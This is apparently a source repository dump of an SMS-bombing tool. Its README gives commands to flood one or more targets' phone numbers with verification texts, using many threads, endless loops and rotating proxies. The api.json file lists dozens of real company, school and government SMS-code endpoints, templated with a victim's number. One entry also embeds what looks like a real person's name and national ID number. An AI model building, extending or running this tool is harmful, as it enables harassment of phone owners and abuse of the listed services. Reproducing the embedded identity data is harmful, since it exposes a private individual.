├── .gitignore
├── GETAPI.json
├── ProxySpider.py
├── README.assets
├── Screenshot_20220919_173722_com.android.mms.jpg
└── test.gif
├── README.md
├── api.json
├── flask_app
├── __init__.py
├── data.db
├── model.py
├── static
│ └── test.js
├── templates
│ ├── admin_back.html
│ └── api_edit.html
├── utils.py
└── views
│ ├── __init__.py
│ ├── error.py
│ └── views.py
├── img
├── Screenshot_20220919_173722_com.android.mms.jpg
├── smsboom-logo.png
├── test.gif
├── webui-test-2.png
└── webui-test.png
├── main.py
├── requirements.txt
├── run_flask_app.py
├── useragents
├── android.txt
├── browsers.txt
├── cloudplatforms.txt
├── crawlers.txt
├── feedreaders.txt
├── ipad.txt
├── iphone.txt
├── libraries.txt
├── linkcheckers.txt
├── others.txt
├── validators.txt
└── zytrax-browserid.txt
└── utils
├── models.py
└── req.py
/.gitignore:
--------------------------------------------------------------------------------
1 | # owner
2 | git-filter-repo.py
3 | replacements.txt
4 | # Byte-compiled / optimized / DLL files
5 | __pycache__/
6 | *.py[cod]
7 | *$py.class
8 |
9 | # C extensions
10 | *.so
11 |
12 | # Distribution / packaging
13 | .Python
14 | build/
15 | develop-eggs/
16 | dist/
17 | downloads/
18 | eggs/
19 | .eggs/
20 | lib/
21 | lib64/
22 | parts/
23 | sdist/
24 | var/
25 | wheels/
26 | share/python-wheels/
27 | *.egg-info/
28 | .installed.cfg
29 | *.egg
30 | MANIFEST
31 |
32 | # PyInstaller
33 | # Usually these files are written by a python script from a template
34 | # before PyInstaller builds the exe, so as to inject date/other infos into it.
35 | *.manifest
36 | *.spec
37 |
38 | # Installer logs
39 | pip-log.txt
40 | pip-delete-this-directory.txt
41 |
42 | # Unit test / coverage reports
43 | htmlcov/
44 | .tox/
45 | .nox/
46 | .coverage
47 | .coverage.*
48 | .cache
49 | nosetests.xml
50 | coverage.xml
51 | *.cover
52 | *.py,cover
53 | .hypothesis/
54 | .pytest_cache/
55 | cover/
56 |
57 | # Translations
58 | *.mo
59 | *.pot
60 |
61 | # Django stuff:
62 | *.log
63 | local_settings.py
64 | db.sqlite3
65 | db.sqlite3-journal
66 |
67 | # Flask stuff:
68 | instance/
69 | .webassets-cache
70 |
71 | # Scrapy stuff:
72 | .scrapy
73 |
74 | # Sphinx documentation
75 | docs/_build/
76 |
77 | # PyBuilder
78 | .pybuilder/
79 | target/
80 |
81 | # Jupyter Notebook
82 | .ipynb_checkpoints
83 |
84 | # IPython
85 | profile_default/
86 | ipython_config.py
87 |
88 | # pyenv
89 | # For a library or package, you might want to ignore these files since the code is
90 | # intended to run in multiple environments; otherwise, check them in:
91 | # .python-version
92 |
93 | # pipenv
94 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
95 | # However, in case of collaboration, if having platform-specific dependencies or dependencies
96 | # having no cross-platform support, pipenv may install dependencies that don't work, or not
97 | # install all needed dependencies.
98 | #Pipfile.lock
99 |
100 | # poetry
101 | # Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control.
102 | # This is especially recommended for binary packages to ensure reproducibility, and is more
103 | # commonly ignored for libraries.
104 | # https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control
105 | #poetry.lock
106 |
107 | # pdm
108 | # Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control.
109 | #pdm.lock
110 | # pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it
111 | # in version control.
112 | # https://pdm.fming.dev/#use-with-ide
113 | .pdm.toml
114 |
115 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm
116 | __pypackages__/
117 |
118 | # Celery stuff
119 | celerybeat-schedule
120 | celerybeat.pid
121 |
122 | # SageMath parsed files
123 | *.sage.py
124 |
125 | # Environments
126 | .env
127 | .venv
128 | env/
129 | venv/
130 | ENV/
131 | env.bak/
132 | venv.bak/
133 |
134 | # Spyder project settings
135 | .spyderproject
136 | .spyproject
137 |
138 | # Rope project settings
139 | .ropeproject
140 |
141 | # mkdocs documentation
142 | /site
143 |
144 | # mypy
145 | .mypy_cache/
146 | .dmypy.json
147 | dmypy.json
148 |
149 | # Pyre type checker
150 | .pyre/
151 |
152 | # pytype static type analyzer
153 | .pytype/
154 |
155 | # Cython debug symbols
156 | cython_debug/
157 |
158 | # PyCharm
159 | # JetBrains specific template is maintained in a separate JetBrains.gitignore that can
160 | # be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore
161 | # and can be added to the global gitignore or merged into this file. For a more nuclear
162 | # option (not recommended) you can uncomment the following to ignore the entire idea folder.
163 | .idea/
164 |
165 |
--------------------------------------------------------------------------------
/ProxySpider.py:
--------------------------------------------------------------------------------
1 | from requests import get
2 |
3 |
4 | class ProxySpider:
5 | ip_list = list()
6 |
7 | def __init__(self, ip_number, proxypool_url):
8 | """
9 |
10 | :param ip_number:一次性获取的代理ip数
11 | :param proxypool_url: 获取代理的目标地址(http://192.168.99.100:5555/random)(http://127.0.0.1:5555/random)
12 | """
13 | self.proxypool_url = proxypool_url
14 | self.ip_number = ip_number
15 |
16 | def geturl(self):
17 | pass
18 |
19 | def parseurl(self):
20 | """
21 | 向获取ip代理目标地址发送请求,返回代理
22 | :return:
23 | """
24 | for i in range(0, self.ip_number):
25 | if get(self.proxypool_url).status_code == 200:
26 | ProxySpider.ip_list.append(get(self.proxypool_url).text.strip())
27 |
28 | else:
29 | while get(self.proxypool_url).status_code == 200:
30 | ProxySpider.ip_list.append(get(self.proxypool_url).text.strip())
31 |
32 | def run(self):
33 | """# 先清空已存的ip列表
34 | ProxySpider.ip_list = list()"""
35 | # 再获取新的ip列表
36 | self.parseurl()
37 |
--------------------------------------------------------------------------------
/README.assets/Screenshot_20220919_173722_com.android.mms.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/linxinloningg/Boom/2c6b602b79b6273396fd4ad23984d3d7f84c2098/README.assets/Screenshot_20220919_173722_com.android.mms.jpg
--------------------------------------------------------------------------------
/README.assets/test.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/linxinloningg/Boom/2c6b602b79b6273396fd4ad23984d3d7f84c2098/README.assets/test.gif
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | **基于SMSBoom项目的增强和代码优化**
2 |
3 | 
4 |
5 |
6 | ## 原有Feature
7 |
8 | 1. 通过自定义 `api.json` 的方式定义接口.
9 | 2. 支持关键字替换. **时间戳** `[timestamp]` **手机号** `[phone]`
10 | 3. 多线程/异步 请求.
11 | 4. 通过 Flask 提供网页测试/添加接口.
12 | 5. 友好的命令行参数支持.
13 | 6. ~~采用方便的 pipenv 包管理.~~
14 | 7. ~~通过代理调用短信接口, 支持http, socks4, socks5代理.~~
15 | 8. 使用随机的User-Agent.
16 | 9. ~~可指定轰炸次数, 轰炸间隔时间.~~
17 |
18 | ## 增加Feature
19 |
20 | 1. 增加也可通过代理调用异步请求
21 | 2. 使用ProxyPool获取代理替换原有的读取代理接口文件获取代理
22 | 3. 更多的随机的User-Agent
23 | 4. 不再需要指定轰炸次数,只需指定间隔时间,即可实现循环轰炸,直到想停
24 |
25 | ## Quick Start
26 |
27 | * ### 部署ProxyPool
28 |
29 | >* 克隆代码
30 | >
31 | > ```bash
32 | > git clone https://github.com/Python3WebSpider/ProxyPool.git
33 | > cd ProxyPool
34 | > ```
35 | >
36 | >* 使用 Docker
37 | >
38 | > 安装如下环境:
39 | >
40 | > - Docker
41 | > - Docker-Compose
42 | >
43 | > 安装方法自行搜索即可。
44 | >
45 | > ```bash
46 | > docker-compose up
47 | > ```
48 | >
49 | > 运行结果类似如下:
50 | >
51 | > ```bash
52 | > redis | 1:M 19 Feb 2020 17:09:43.940 * DB loaded from disk: 0.000 seconds
53 | > redis | 1:M 19 Feb 2020 17:09:43.940 * Ready to accept connections
54 | > proxypool | 2020-02-19 17:09:44,200 CRIT Supervisor is running as root. Privileges were not dropped because no user is specified in the config file. If you intend to run as root, you can set user=root in the config file to avoid this message.
55 | > proxypool | 2020-02-19 17:09:44,203 INFO supervisord started with pid 1
56 | > proxypool | 2020-02-19 17:09:45,209 INFO spawned: 'getter' with pid 10
57 | > proxypool | 2020-02-19 17:09:45,212 INFO spawned: 'server' with pid 11
58 | > proxypool | 2020-02-19 17:09:45,216 INFO spawned: 'tester' with pid 12
59 | > proxypool | 2020-02-19 17:09:46,596 INFO success: getter entered RUNNING state, process has stayed up for > than 1 seconds (startsecs)
60 | > proxypool | 2020-02-19 17:09:46,596 INFO success: server entered RUNNING state, process has stayed up for > than 1 seconds (startsecs)
61 | > proxypool | 2020-02-19 17:09:46,596 INFO success: tester entered RUNNING state, process has stayed up for > than 1 seconds (startsecs)
62 | > ```
63 | >
64 | > 验证是否搭建成功,可访问 http://localhost:5555/random 即可获取一个随机可用代理
65 | >
66 | > 往后想要再次启动,只需要进入到ProxyPool代码文件夹,桥下命令
67 | >
68 | > ```bash
69 | > docker-compose start
70 | > ```
71 |
72 | * ## 部署Boom
73 |
74 | >* 克隆代码
75 | >
76 | > ```bash
77 | > git clone https://github.com/linxinloningg/Boom.git
78 | > ```
79 | >
80 | >* 配置环境
81 | >
82 | > **前提条件:** 请确保自己的电脑有 `python3.x` 的环境,推荐使用 `3.8` 及以上!
83 | >
84 | > 推荐使用conda虚拟环境
85 | >
86 | > ```bash
87 | > # 创建新的虚拟环境
88 | > conda create -n boom python=3.8
89 | > ```
90 | >
91 | > ```bash
92 | > # 激活虚拟环境
93 | > conda activate boom
94 | > # 下载依赖
95 | > cd Boom
96 | > pip install -r requirements.txt
97 | > ```
98 | >
99 | >* 尝试启动
100 | >
101 | > ```bash
102 | > python main.py
103 | > ```
104 | >
105 | > 前端测试api界面
106 | >
107 | > ```bash
108 | > python run_flask_app.py start
109 | > ```
110 |
111 | ### 开启轰炸
112 |
113 | 帮助信息:
114 |
115 | ```shell
116 | PS C:\Users\Administrator\Desktop\Boom> python .\main.py
117 |
118 | Usage: main.py [OPTIONS] COMMAND [ARGS]...
119 |
120 | Options:
121 | --help Show this message and exit.
122 |
123 | Commands:
124 | async-run 以最快的方式请求接口(真异步百万并发)
125 | one-run 单线程(测试使用)
126 | run 传入线程数和手机号启动轰炸,支持多手机号
127 | update 从 github 获取最新接口
128 | ```
129 |
130 | * ### run
131 |
132 | ```shell
133 | PS C:\Users\Administrator\Desktop\Boom> python .\main.py run --help
134 | Usage: main.py run [OPTIONS]
135 |
136 | 传入线程数和手机号启动轰炸,支持多手机号
137 |
138 | Options:
139 | -t, --thread INTEGER 线程数(默认64)
140 | -p, --phone TEXT 手机号,可传入多个再使用-p传递 [required]
141 | -i, --interval INTEGER 间隔时间(默认60s)
142 | -e, --proxies INTEGER 一次攻击所需代理(默认10),不使用代理则设为0
143 | --help Show this message and exit.
144 | ```
145 |
146 | >### 命令示例
147 | >
148 | >启动64个线程,轰//炸一个人的手机号(198xxxxxxxx),不使用代理
149 | >
150 | >```shell
151 | >python main.py run -t 64 -p 198xxxxxxxx -e 0
152 | >```
153 | >
154 | >启动64个线程,轰//炸一个人的手机号(198xxxxxxxx),启动循环轰//炸, 每次间隔30秒
155 | >
156 | >```shell
157 | >python smsboom.py run -t 64 -p 198xxxxxxxx -i 30 -e 0
158 | >```
159 | >
160 | >启动64个线程,轰//炸一个人的手机号(198xxxxxxxx),启动循环轰//炸, 每次间隔30秒, 开启代理,每次轰炸在10个代理中随机选择一个代理搭配一个api,进行轰炸
161 | >
162 | >```shell
163 | >python smsboom.py run -t 64 -p 198xxxxxxxx -f 60 -i 30 -e 10
164 | >```
165 | >
166 | >启动64个线程,轰//炸多个人的手机号(198xxxxxxxx,199xxxxxxxx), 每次间隔30秒, 开启代理,每次轰炸在10个代理中随机选择一个代理搭配一个api
167 | >
168 | >```shell
169 | >python smsboom.py run -t 64 -p 198xxxxxxxx -p 199xxxxxxxx -f 60 -i 30 -e 10
170 | >```
171 | >
172 | >### 效果展现
173 | >
174 | >
175 | >
176 | >
177 |
178 | ### Flask 前端调试
179 |
180 | > **前提是已经根据前文 Quick Start 的方式安装好 环境**
181 |
182 | ```shell
183 | python run_flask_app.py start -p 9090 # 监听9090端口
184 | ```
185 |
186 | **运行帮助:**
187 | ```shell
188 | Usage: run_flask_app.py [OPTIONS] COMMAND [ARGS]...
189 |
190 | Options:
191 | --help Show this message and exit.
192 |
193 | Commands:
194 | init 初始化数据库
195 | json2sqlite 将json数据转为sqlite数据库
196 | sqlite2json 将sqlite数据转为json
197 | start 启动 flask app
198 | ```
199 |
200 | ```shell
201 | Usage: run_flask_app.py start [OPTIONS]
202 |
203 | 启动 flask app
204 |
205 | Options:
206 | -h, --host TEXT 监听地址
207 | -p, --port INTEGER 监听端口
208 | --help Show this message and exit.
209 | ```
210 |
211 | 默认监听 *0.0.0.0:9090* 地址,浏览器访问[http://127.0.0.1:9090/admin/](http://127.0.0.1:9090/admin/)若无意外,就可以出现前端调试界面。
212 |
213 | 
214 | 
215 |
--------------------------------------------------------------------------------
/api.json:
--------------------------------------------------------------------------------
1 | [
2 | {
3 | "desc": "彩云小译",
4 | "url": "https://biz.caiyunapp.com/v1/send_sms_code",
5 | "method": "POST",
6 | "header": {
7 | "Referer": "https://fanyi.caiyunapp.com/",
8 | "Cy-Token": "token 9876032166"
9 | },
10 | "data": {
11 | "phone_num": "[phone]",
12 | "area_code": "86"
13 | }
14 | },
15 | {
16 | "desc": "网易云游戏",
17 | "url": "https://n.cg.163.com/api/v1/phone-captchas/86-[phone]",
18 | "method": "POST",
19 | "header": "",
20 | "data": {
21 | "etc": {
22 | "validate": ""
23 | }
24 | }
25 | },
26 | {
27 | "desc": "果壳app",
28 | "url": "https://guokrapp-apis.guokr.com/hawking/v1/verifications",
29 | "method": "POST",
30 | "header": {
31 | "User-Agent": "android 2.0.15",
32 | "Client-Source": "android;23;Android;MuMu",
33 | "Client-Channel": "gkchannel_QD009",
34 | "Content-Type": "application/json; charset=UTF-8"
35 | },
36 | "data": {
37 | "dial_code": "0086",
38 | "phone": "[phone]"
39 | }
40 | },
41 | {
42 | "desc": "踢米app",
43 | "url": "https://www.timing360.com/user/send-captcha",
44 | "method": "POST",
45 | "header": {
46 | "Authorization": "7119181942667E7D85987C65A6D0B8EC",
47 | "Content-Type": "application/x-www-form-urlencoded"
48 | },
49 | "data": "_app_version=10.13.2&_carrier=&_city=&_country=&_country_code=&_date=2022-04-05&_device_id=b6ad5aabe403d839&_device_manufacturer=Netease&_device_model=MuMu&_device_os=Android&_device_os_version=6.0.1&_distinct_id=a86d6bb7-8e26-43c5-baf3-82cdf95fffdd&_ip=&_is_login_id=0&_login_method=phone&_network_type=WIFI&_province=&_screen_height=2000&_screen_width=1125&_time=2022-04-05%2021%3A21%3A13&_user_id=a86d6bb7-8e26-43c5-baf3-82cdf95fffdd&_wifi=1&adCode=&brand=Android&city=&cityCode=&countryCode=86&imei=861151055733959&isCheckPhoneExist=0&latitude=&longitude=&market=yyb&nonce=708380&os=6.0.1&osType=1&phoneModel=MuMu&phoneNumber=[phone]&sessionId=e1c69361-c78b-4f4d-8c98-938ba4eccff6×tamp=[timestamp]&userID=-709178027&userKey=11111111111111111111111111111111&versioncode=187"
50 | },
51 | {
52 | "desc": "微爱app",
53 | "url": "http://api.welove520.com/v5/account/phone/verifyCode/send?phone_number=[phone]&client_id=464847866_[timestamp]&type=6&area_code=86&app_key=ac5f34563a4344c4&sig=xvP64W04tR%2FNJoZEJEoJySmlIXU%3D",
54 | "method": "POST",
55 | "header": "",
56 | "data": ""
57 | },
58 | {
59 | "desc": "返利app(24小时限制)",
60 | "url": "https://passport.fanli.com/mobileapi/i/user/mobileFastReg?jsoncallback=jQuery21105357980471043338_[timestamp]&mobile=[phone]&countrycode=86&mobilestep=1&_=[timestamp]",
61 | "method": "GET",
62 | "header": "",
63 | "data": ""
64 | },
65 | {
66 | "desc": "酷安(一天只能一次)",
67 | "url": "https://account.coolapk.com/auth/login?type=mobile",
68 | "method": "POST",
69 | "header": "",
70 | "data": "submit=1&requestHash=c2592a6dr9x510&country=86&mobile=[phone]&captcha=&randomNumber=0undefined7952784010774208"
71 | },
72 | {
73 | "desc": "广东高考报名web",
74 | "url": "https://pg.eeagd.edu.cn/ks/public/kszc/zcyzm.jsmeb",
75 | "method": "POST",
76 | "header": "",
77 | "data": "[phone]"
78 | },
79 | {
80 | "desc": "广东教育翔云",
81 | "url": "https://gl.gdedu.gov.cn/api-service/captcha?phoneNumber=[phone]&captchaType=QUERY_ADMIN",
82 | "method": "GET",
83 | "header": "",
84 | "data": ""
85 | },
86 | {
87 | "desc": "迪卡侬",
88 | "url": "https://www.decathlon.com.cn/zh/ajax/rest/model/atg/userprofiling/ProfileActor/send-mobile-verification-code",
89 | "method": "POST",
90 | "header": "",
91 | "data": {
92 | "countryCode": "CN",
93 | "mobile": "[phone]"
94 | }
95 | },
96 | {
97 | "desc": "股海网",
98 | "url": "https://www.guhai.com.cn/front/member/sendSmsCode",
99 | "method": "POST",
100 | "header": "",
101 | "data": {
102 | "mobile": "[phone]"
103 | }
104 | },
105 | {
106 | "desc": "LLL的个人blog",
107 | "url": "http://www.lll.plus/sendCode/",
108 | "method": "POST",
109 | "header": "",
110 | "data": {
111 | "tel": "[phone]",
112 | "forgetPwd": ""
113 | }
114 | },
115 | {
116 | "desc": "企米子",
117 | "url": "https://www.xcxui.com/index/register/getcode.html",
118 | "method": "POST",
119 | "header": "",
120 | "data": {
121 | "tel": "[phone]"
122 | }
123 | },
124 | {
125 | "desc": "蒲公英",
126 | "url": "https://id.pgyer.com/user/getRegisterCode",
127 | "method": "POST",
128 | "header": "",
129 | "data": {
130 | "tel": "[phone]",
131 | "callingCode": "86",
132 | "mode": "tel"
133 | }
134 | },
135 | {
136 | "desc": "百卓优采",
137 | "url": "https://erp.abiz.com/mobilecode/sendMobileCode",
138 | "method": "POST",
139 | "header": "",
140 | "data": {
141 | "mobile": "[phone]",
142 | "captcha": ""
143 | }
144 | },
145 | {
146 | "desc": "云背篓",
147 | "url": "https://brand.yunbeilou.com/index.php/smssend",
148 | "method": "POST",
149 | "header": "",
150 | "data": {
151 | "phone": "[phone]",
152 | "v": "yes"
153 | }
154 | },
155 | {
156 | "desc": "PHP中文网",
157 | "url": "https://m.php.cn/account/phone_code.html",
158 | "method": "POST",
159 | "header": "",
160 | "data": {
161 | "phone": "[phone]"
162 | }
163 | },
164 | {
165 | "desc": "12321",
166 | "url": "http://dhba.12321.cn/api/verifycode",
167 | "method": "POST",
168 | "header": "",
169 | "data": {
170 | "phone": "[phone]"
171 | }
172 | },
173 | {
174 | "desc": "Testin众测",
175 | "url": "https://www.ztestin.com/users/send/vercode",
176 | "method": "POST",
177 | "header": "",
178 | "data": {
179 | "phone": "[phone]",
180 | "type": "register",
181 | "voice": "0"
182 | }
183 | },
184 | {
185 | "desc": "海尔",
186 | "url": "http://maker.haier.net/client/user/sendregistervcode.html",
187 | "method": "POST",
188 | "header": "",
189 | "data": {
190 | "account": "[phone]"
191 | }
192 | },
193 | {
194 | "desc": "飞猫云",
195 | "url": "https://www.feimaoyun.com/index.php/invite/h5sendmsg",
196 | "method": "POST",
197 | "header": "",
198 | "data": {
199 | "pcode": "+86",
200 | "phone": "[phone]"
201 | }
202 | },
203 | {
204 | "desc": "华觉数字化平台",
205 | "url": "https://end.huajuetech.com/api/sendCode",
206 | "method": "POST",
207 | "header": "",
208 | "data": {
209 | "mobile": "[phone]",
210 | "email": "null",
211 | "verfy_method": "mobile"
212 | }
213 | },
214 | {
215 | "desc": "问政江西",
216 | "url": "https://wenz.jxnews.com.cn/ms/index.php/Home/User/get_yzm",
217 | "method": "POST",
218 | "header": "",
219 | "data": {
220 | "phone": "[phone]"
221 | }
222 | },
223 | {
224 | "desc": "河南智慧党建",
225 | "url": "http://api.hndyjyfw.gov.cn/djapi/mobileVerify",
226 | "method": "POST",
227 | "header": "",
228 | "data": {
229 | "phone": "[phone]",
230 | "verifytype": "1"
231 | }
232 | },
233 | {
234 | "desc": "陆陆陆云安全",
235 | "url": "https://cloud.666idc.com/index/login/sendsms.html",
236 | "method": "POST",
237 | "header": "",
238 | "data": {
239 | "mobile": "[phone]",
240 | "mobile_pre": "86"
241 | }
242 | },
243 | {
244 | "desc": "网易",
245 | "url": "https://dz.blizzard.cn/action/user/mobile/captcha",
246 | "method": "POST",
247 | "header": "",
248 | "data": {
249 | "mobile": "[phone]"
250 | }
251 | },
252 | {
253 | "desc": "码云社",
254 | "url": "https://www.codeseeding.com/loginUser/toSend",
255 | "method": "POST",
256 | "header": "",
257 | "data": {
258 | "phone": "[phone]"
259 | }
260 | },
261 | {
262 | "desc": "人才山东",
263 | "url": "http://sso.rcsd.cn/regist/getVerifyCode",
264 | "method": "POST",
265 | "header": "",
266 | "data": {
267 | "personcall": "[phone]"
268 | }
269 | },
270 | {
271 | "desc": "水利部",
272 | "url": "http://sso.mwr.cn/suserRegister/verifyAccountAndphone.action",
273 | "method": "POST",
274 | "header": "",
275 | "data": {
276 | "mobile": "[phone]"
277 | }
278 | },
279 | {
280 | "desc": "七联大学",
281 | "url": "http://ut7.whu.edu.cn/Home/studentCommon/Student_getVerifyCode",
282 | "method": "POST",
283 | "header": "",
284 | "data": {
285 | "phoneNumber": "[phone]",
286 | "sendType": "0"
287 | }
288 | },
289 | {
290 | "desc": "闪德资讯",
291 | "url": "https://www.0101ssd.com/user/sendmsg",
292 | "method": "POST",
293 | "header": "",
294 | "data": {
295 | "mobile": "[phone]",
296 | "event": "register"
297 | }
298 | },
299 | {
300 | "desc": "江苏省名师空中课堂",
301 | "url": "https://mskzkt.jse.edu.cn/baseApi/user/code/",
302 | "method": "POST",
303 | "header": "",
304 | "data": {
305 | "mobile": "[phone]",
306 | "type": "1"
307 | }
308 | },
309 | {
310 | "desc": "CSFF短片",
311 | "url": "https://csff.cutv.com/wapi/users/sendregcode",
312 | "method": "POST",
313 | "header": "",
314 | "data": {
315 | "telphone": "[phone]"
316 | }
317 | },
318 | {
319 | "desc": "广西人社厅",
320 | "url": "http://rswb.gx12333.net/member/getRegisterphoneCode.jspx",
321 | "method": "POST",
322 | "header": "",
323 | "data": {
324 | "aae005": "[phone]",
325 | "aac003": "刘萌萌",
326 | "aac002": "210212198506035924",
327 | "notkeyflag": "1"
328 | }
329 | },
330 | {
331 | "desc": "麦克赛尔数字映像",
332 | "url": "https://www.maxell-dm.cn/Code/CheckImage.aspx",
333 | "method": "POST",
334 | "header": "",
335 | "data": {
336 | "action": "send",
337 | "txtMember_Name": "[phone]"
338 | }
339 | },
340 | {
341 | "desc": "宝提分",
342 | "url": "http://main.jiajiaozaixian.com//reginfo/sendRankByMobileReginfo.action",
343 | "method": "POST",
344 | "header": "",
345 | "data": {
346 | "mobile": "[phone]"
347 | }
348 | },
349 | {
350 | "desc": "选型系统",
351 | "url": "http://www.cnppump.ltd/Service/UserHandler.ashx",
352 | "method": "GET",
353 | "header": "",
354 | "data": {
355 | "cmd": "GetTelVerifyCode",
356 | "Tel": "[phone]"
357 | }
358 | },
359 | {
360 | "desc": "千里马网信科技",
361 | "url": "http://vip.qianlima.com/rest/u/api/user/register/mobile/code",
362 | "method": "POST",
363 | "header": "",
364 | "data": {
365 | "tips": "1",
366 | "shouji": "[phone]"
367 | }
368 | },
369 | {
370 | "desc": "保定云",
371 | "url": "https://baodingyun.com.cn/register/send_registerSMS.html",
372 | "method": "POST",
373 | "header": "",
374 | "data": {
375 | "phone": "[phone]"
376 | }
377 | },
378 | {
379 | "desc": "欢动游戏",
380 | "url": "http://www.gm5.com/auth/registerSms.html",
381 | "method": "POST",
382 | "header": "",
383 | "data": {
384 | "mobile": "[phone]"
385 | }
386 | },
387 | {
388 | "desc": "迈威",
389 | "url": "https://www.maiwe.com.cn/index/sendcode.html",
390 | "method": "GET",
391 | "header": "",
392 | "data": {
393 | "tel": "[phone]"
394 | }
395 | },
396 | {
397 | "desc": "憨鼠社区",
398 | "url": "https://www.dehua.net/include/ajax.php?service=siteConfig&action=getphoneVerify&type=signup&phone=[phone]&areaCode=86",
399 | "method": "GET",
400 | "header": "",
401 | "data": {}
402 | },
403 | {
404 | "desc": "天鹅到家",
405 | "url": "https://user.daojia.com/mobile/getcode?mobile=[phone]&newVersion=1&bu=112",
406 | "method": "GET",
407 | "header": "",
408 | "data": {}
409 | },
410 | {
411 | "desc": "诺达筑工",
412 | "url": "http://ks.ndzhugong.com/getVerificationCode?phone=[phone]&password=&smscode=",
413 | "method": "GET",
414 | "header": "",
415 | "data": {}
416 | },
417 | {
418 | "desc": "栋才智慧",
419 | "url": "http://211.149.170.226:8201/dczp-cloud-client/rrs/user/sendSms?[phone]&[phone]&smsMode=2",
420 | "method": "GET",
421 | "header": "",
422 | "data": {}
423 | },
424 | {
425 | "desc": "工伤预防网上培训平台",
426 | "url": "http://wf.zhuanjipx.com:8084//api-user/zjUsersPersonal/getSmsCode?mobile=[phone]&mobileCodeId=a87c9338-43a1-66ea-8ce7-1b1ac7c39d69",
427 | "method": "GET",
428 | "header": "",
429 | "data": {}
430 | },
431 | {
432 | "desc": "济宁专技",
433 | "url": "https://sdjn-web.yxlearning.com/sendphoneCode.gson",
434 | "method": "POST",
435 | "header": "",
436 | "data": {
437 | "phone": "[phone]",
438 | "sendType": "4"
439 | }
440 | },
441 | {
442 | "desc": "宁夏伊地地质工程有限公司",
443 | "url": "http://www.yddzgc.com/bid-app/api/sys/code?phone=[phone]&type=1",
444 | "method": "GET",
445 | "header": "",
446 | "data": {}
447 | },
448 | {
449 | "desc": "青春大学说",
450 | "url": "http://zycp.qcdxs.com:5001/sms/sendsms",
451 | "method": "POST",
452 | "header": "",
453 | "data": {
454 | "phone_number": "[phone]"
455 | }
456 | },
457 | {
458 | "desc": "兴业利达电子招投标平台",
459 | "url": "https://api.gzxyld.cn/HuiEbid/HuiEbidServer/doSendSms/getSms",
460 | "method": "POST",
461 | "header": "",
462 | "data": {
463 | "username": "[phone]",
464 | "type": "regUser",
465 | "mobile": "PC"
466 | }
467 | },
468 | {
469 | "desc": "火象",
470 | "url": "https://v1.alphazone-data.cn/academy/api/v1/sendsms",
471 | "method": "POST",
472 | "header": "",
473 | "data": {
474 | "temp": "1",
475 | "phone": "[phone]"
476 | }
477 | },
478 | {
479 | "desc": "中科教育",
480 | "url": "https://www.vipexam.cn/user/identifyingCode.action",
481 | "method": "POST",
482 | "header": "",
483 | "data": {
484 | "phone": "[phone]"
485 | }
486 | },
487 | {
488 | "desc": "聚题库",
489 | "url": "https://uc.csdhe.com/v1/sms/send?mobile=[phone]&apptype=examWeb",
490 | "method": "GET",
491 | "header": "",
492 | "data": {}
493 | },
494 | {
495 | "desc": "苏州高新区教育局",
496 | "url": "https://jssnd.edu.cn/apiu/v1/register/auth",
497 | "method": "POST",
498 | "header": "",
499 | "data": {
500 | "phone": "[phone]"
501 | }
502 | },
503 | {
504 | "desc": "专业技术人员继续教育平台",
505 | "url": "http://zhuanjipx.com:8082//api-user/zjUsersPersonal/getSmsCode?mobile=[phone]&mobileCodeId=685110c6-cef4-bb01-8f4d-19ea89f4d3f8",
506 | "method": "GET",
507 | "header": "",
508 | "data": {}
509 | },
510 | {
511 | "desc": "泰安专技",
512 | "url": "https://sdta-web.yxlearning.com/sendphoneCode.gson",
513 | "method": "POST",
514 | "header": "",
515 | "data": {
516 | "phone": "[phone]",
517 | "sendType": "4"
518 | }
519 | },
520 | {
521 | "desc": "漏洞银行",
522 | "url": "https://www.bugbank.cn/api/verifymobile",
523 | "method": "POST",
524 | "header": "",
525 | "data": {
526 | "mobile": "[phone]"
527 | }
528 | },
529 | {
530 | "desc": "中国劳动保障新闻网",
531 | "url": "https://www.clssn.com/jhxtapi/web/Login/sendSmsCode",
532 | "method": "POST",
533 | "header": "",
534 | "data": {
535 | "mobile": "[phone]"
536 | }
537 | },
538 | {
539 | "desc": "广东省心理学会",
540 | "url": "http://gpa-gd.scnu.edu.cn/member/index/public_send_code.html",
541 | "method": "POST",
542 | "header": "",
543 | "data": {
544 | "phone": "[phone]"
545 | }
546 | },
547 | {
548 | "desc": "费耘网",
549 | "url": "https://www.feeclouds.com/homepage/register/send",
550 | "method": "POST",
551 | "header": "",
552 | "data": {
553 | "mobile": "[phone]"
554 | }
555 | },
556 | {
557 | "desc": "语雀web",
558 | "url": "https://www.yuque.com/api/validation_codes",
559 | "method": "POST",
560 | "header": {
561 | "referer": "https://www.yuque.com/register"
562 | },
563 | "data": {
564 | "target": "[phone]",
565 | "action": "register",
566 | "channel": "sms"
567 | }
568 | },
569 | {
570 | "desc": "甜糖app",
571 | "url": "http://tiantang.mogencloud.com/web/api/login/code?phone=[phone]",
572 | "method": "POST",
573 | "header": "",
574 | "data": ""
575 | },
576 | {
577 | "desc": "网心云APP",
578 | "url": "https://account-box.onethingpcs.com/xluser.core.login/v3/sendsms",
579 | "method": "POST",
580 | "header": "",
581 | "data": {
582 | "protocolVersion": "301",
583 | "sequenceNo": "1000001",
584 | "platformVersion": "10",
585 | "isCompressed": "0",
586 | "appid": "22017",
587 | "clientVersion": "3.15.1",
588 | "peerID": "00000000000000000000000000000000",
589 | "appName": "ANDROID-com.onethingcloud.android",
590 | "sdkVersion": "204500",
591 | "devicesign": "div101.095893e2bfa13a199f83691076c8bbb9ab0d01f75c929975048142c2fa38402b",
592 | "netWorkType": "WIFI",
593 | "providerName": "NONE",
594 | "deviceModel": "M2102J2SC",
595 | "deviceName": "Xiaomi M2102j2sc",
596 | "OSVersion": "11",
597 | "creditkey": "",
598 | "hl": "zh-CN",
599 | "mobile": "[phone]",
600 | "register": "0"
601 | }
602 | },
603 | {
604 | "desc": "乐教乐学",
605 | "url": "http://id.lejiaolexue.com/api/sendvericode.ashx?phone=[phone]",
606 | "method": "GET",
